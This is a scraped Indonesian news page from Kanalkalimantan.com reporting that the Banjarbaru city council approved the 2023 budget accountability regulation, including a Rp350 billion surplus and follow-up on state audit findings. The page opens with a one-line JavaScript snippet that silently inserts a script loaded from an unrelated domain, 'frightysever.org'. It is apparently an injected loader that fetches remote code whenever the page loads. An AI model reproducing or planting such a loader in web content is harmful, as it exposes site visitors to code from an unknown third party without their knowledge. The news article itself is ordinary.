(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD BANJARBARU

Sahkan Raperda Pertanggungjawaban Pelaksanaan APBD 2023


KANALKALIMANTAN.COM, BANJARBARU – Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru menyetujui Rancangan Peraturan Daerah (Raperda) tentang Pertanggungjawaban Pelaksanaan Anggaran Pendapatan dan Belanja Daerah (APBD) tahun anggaran 2023.

Rapat paripurna pengambilan keputusan berlangsung di ruang graha paripurna ini dipimpin Ketua DPRD Banjararu Fadliansyah dihadiri Wali Kota Banjarbaru Aditya Mufti Ariffin, Selasa (9/7/2024) siang.

Dalam rapat tersebut, DPRD Kota Banjarbaru secara resmi menyetujui dan mengesahkan Raperda tentang Pertanggungjawaban Pelaksanaan APBD tahun anggaran 2023.

Ketua DPRD Banjarbaru, Fadliansyah mengatakan, pengesahan Raperda Pertanggungjawaban Pelaksanaan APBD 2023 menjadi tolak ukur bagi Badan Anggaran (Banggar) DPRD maupun Tim Anggaran Pemerintah Daerah (TAPD) dalam pembahasan APBD Perubahan 2024. Tercatat Sisa Lebih Perhitungan Anggaran (Silpa) pada APBD 2023 sebesar Rp350 miliar.

Baca juga: Halu Kecubung ‘Landa’ Kalsel, Dua Pengguna Meninggal Dunia di RSJ Sambang Lihum

“Angka ini termasuk besar, saya harapkan bisa terserap anggaran, sehingga Silpa tidak terlalu besar. Semoga yang belum terbayarkan seperti dana transfer Pemprov dan pemerintah pusat bisa ditransfer,” ujarnya.

Raperda Pertanggungjawaban Pelaksanaan APBD 2023 disebut Fadli, merupakan rekomendasi dari Laporan Hasil Pemeriksaan (LHP) Badan Pemeriksa Keuangan (BPK). Dia berharap Pemko Banjarbaru dapat menindaklanjut temuan dalam LHP BPK.

“Ada tindak lanjut dari Pemko terkait penyelesaian temuan LHP BPK, mulai dari penataan aset, tanah rumah, bangunan. Sehingga temuan ini tidak terulang lagi ke depan,” ingatnya.

Sementara itu, Wali Kota Banjarbaru, Aditya Mufti Ariffin memastikan bahwa Pemko Banjarbaru telah menindaklanjuti semua rekomendasi dalam LHP BPK.

Baca juga: Kasus Investasi Bodong BBM Oknum Bhayangkari Jalani Sidang Pertama

“Sudah melalui mekanisme dari catatan BPK yang sudah kita penuhi, sehingga bisa di-Perda-kan,” tuturnya.

BPK memberi waktu kepada Pemko Banjarbaru untuk menindaklanjuti catatan dalam LHP. Adapun waktu untuk menindaklanjutinya beragam, mulai dari 10 hingga 20 hari. (Kanalkalimantan.com/bie)

Reporter: bie
Editor: kk


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.